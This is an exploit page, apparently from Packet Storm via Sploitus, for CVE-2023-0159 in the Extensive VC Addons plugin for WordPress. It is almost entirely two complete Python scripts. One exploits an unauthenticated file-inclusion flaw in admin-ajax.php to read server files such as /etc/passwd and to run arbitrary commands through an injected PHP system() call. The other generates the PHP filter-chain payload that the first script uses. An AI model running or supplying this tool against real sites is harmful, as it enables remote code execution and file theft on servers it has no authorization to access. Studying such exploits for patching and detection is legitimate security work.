Share
## https://sploitus.com/exploit?id=PACKETSTORM:189985
# Exploit Title: Extensive VC Addons for WPBakery page builder < 1.9.1 - Unauthenticated RCE
    # Date: 12 march 2025
    # Exploit Author: Ravina
    # Vendor Homepage: wprealize
    # Version: 1.9.1
    # Tested on: windows, linux
    # CVE ID : CVE-2023-0159
    # Vulnerability Type: Remote Code Execution
    
    ------------------------------------------------
    # CVE-2023-0159_scan.py 
    
    #!/usr/bin/env python3
    # LFI: ./exploit.py --mode lfi --target https://vuln-site.com --file /etc/passwd
    # RCE: ./exploit.py --mode rce --target https://vuln-site.com --command "id" --generator /path/to/php_filter_chain_generator.py
    
    import argparse
    import requests
    import base64
    import subprocess
    import time
    import php_filter_chain_generator
    
    def run_lfi(target, file_path):
        url = f"{target}/wp-admin/admin-ajax.php"
        payload = {
            'action': 'extensive_vc_init_shortcode_pagination',
            'options[template]': f'php://filter/convert.base64-encode/resource={file_path}'
        }
        
        try:
            response = requests.post(url, data=payload)
            if response.status_code == 200 and '{"status":"success","message":"Items are loaded","data":' in response.text:
                try:
                    json_data = response.json()
                    base64_content = json_data['data']['items']
                    decoded = base64.b64decode(base64_content).decode()
                    print(f"\n[+] Successfully read {file_path}:\n")
                    print(decoded)
                except Exception as e:
                    print(f"[-] Decoding failed: {str(e)}")
                    print(f"Raw response (truncated): {response.text[:500]}...")
            else:
                print(f"[-] LFI failed (Status: {response.status_code})")
        except Exception as e:
            print(f"[-] Request failed: {str(e)}")
    
    def run_rce(target, command, generator_path):
        # Base64 encode command to handle special characters
        encoded_cmd = base64.b64encode(command.encode()).decode()
        php_code = f'<?php system(base64_decode("{encoded_cmd}")); ?>'
        
        # Generate filter chain
        try:
            result = subprocess.run(
                [generator_path, '--chain', php_code],
                capture_output=True,
                text=True,
                check=True
            )
            payload = None
            for line in result.stdout.split('\n'):
                if line.startswith('php://filter'):
                    payload = line.strip()
                    break
            
            if not payload:
                print("[-] Failed to generate payload")
                return
    
            url = f"{target}/wp-admin/admin-ajax.php"
            data = {'action': 'extensive_vc_init_shortcode_pagination', 'options[template]': payload}
            
            print(f"[*] Sending payload for command: {command}")
            start_time = time.time()
            # Send the request to attempt RCE and dont forget to pass the generator path
            response = requests.post(url, data=data)
            elapsed = time.time() - start_time
            
            print(f"\n[+] Response time: {elapsed:.2f} seconds")
            print(f"[+] Status code: {response.status_code}")
            
            if response.status_code == 200:
                print("\n[+] Response content:")
                print(response.text[:1000] + ("..." if len(response.text) > 1000 else ""))
                
        except subprocess.CalledProcessError as e:
            print(f"[-] Filter chain generator failed: {e.stderr}")
        except FileNotFoundError:
            print(f"[-] Generator not found at {generator_path}")
        except Exception as e:
            print(f"[-] RCE failed: {str(e)}")
    
    def main():
        parser = argparse.ArgumentParser(description="CVE-2023-0159 Exploit Script")
        parser.add_argument("--mode", choices=["lfi", "rce"], required=True, help="Exploit mode")
        parser.add_argument("--target", required=True, help="Target URL (e.g., https://example.com)")
        parser.add_argument("--file", help="File path for LFI mode")
        parser.add_argument("--command", help="Command to execute for RCE mode")
        parser.add_argument("--generator", default="php_filter_chain_generator.py", 
                          help="Path to php_filter_chain_generator.py")
        
        args = parser.parse_args()
        
        if args.mode == "lfi":
            if not args.file:
                print("[-] Missing --file argument for LFI mode")
                return
            run_lfi(args.target.rstrip('/'), args.file)
        elif args.mode == "rce":
            if not args.command:
                print("[-] Missing --command argument for RCE mode")
                return
            run_rce(args.target.rstrip('/'), args.command, args.generator)
    
    if __name__ == "__main__":
        main()
    
    ------------------------------------------
    
    # php_filter_chain_generator.py
    
    #!/usr/bin/env python3
    import argparse
    import base64
    import re
    
    
    # No need to guess a valid filename anymore
    file_to_use = "php://temp"
    
    conversions = {
        '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
        '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
        '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
        '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
        '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
        '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
        '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
        '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
        '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
        '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
        'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
        'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
        'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
        'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
        'C': 'convert.iconv.UTF8.CSISO2022KR',
        'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
        'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
        'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
        'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
        'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
        'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
        'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
        'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
        'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
        'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
        'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
        'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
        'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
        'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
        'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
        'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
        'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
        'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
        'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
        'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
        'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
        'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
        'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
        'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
        'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
        'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
        'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
        'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
        'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
        'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
        'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
        'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
        's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
        'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
        't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
        'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
        'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
        'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
        'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
        'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
        'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
        'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
        'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
        'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
        'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
        'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
        'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
        '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
        '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
        '=': ''
    }
    
    def generate_filter_chain(chain, debug_base64 = False):
    
        encoded_chain = chain
        # generate some garbage base64
        filters = "convert.iconv.UTF8.CSISO2022KR|"
        filters += "convert.base64-encode|"
        # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
        filters += "convert.iconv.UTF8.UTF7|"
    
    
        for c in encoded_chain[::-1]:
            filters += conversions[c] + "|"
            # decode and reencode to get rid of everything that isn't valid base64
            filters += "convert.base64-decode|"
            filters += "convert.base64-encode|"
            # get rid of equal signs
            filters += "convert.iconv.UTF8.UTF7|"
        if not debug_base64:
            # don't add the decode while debugging chains
            filters += "convert.base64-decode"
    
        final_payload = f"php://filter/{filters}/resource={file_to_use}"
        return final_payload
    
    def main():
    
        # Parsing command line arguments
        parser = argparse.ArgumentParser(description="PHP filter chain generator.")
    
        parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
        parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
        args = parser.parse_args()
        if args.chain is not None:
            chain = args.chain.encode('utf-8')
            base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
            chain = generate_filter_chain(base64_value)
            print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
            print(chain)
        if args.rawbase64 is not None:
            rawbase64 = args.rawbase64.replace("=", "")
            match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
            if (match):
                chain = generate_filter_chain(rawbase64, True)
                print(chain)
            else:
                print ("[-] Base64 string required.")
                exit(1)
    
    if __name__ == "__main__":
        main()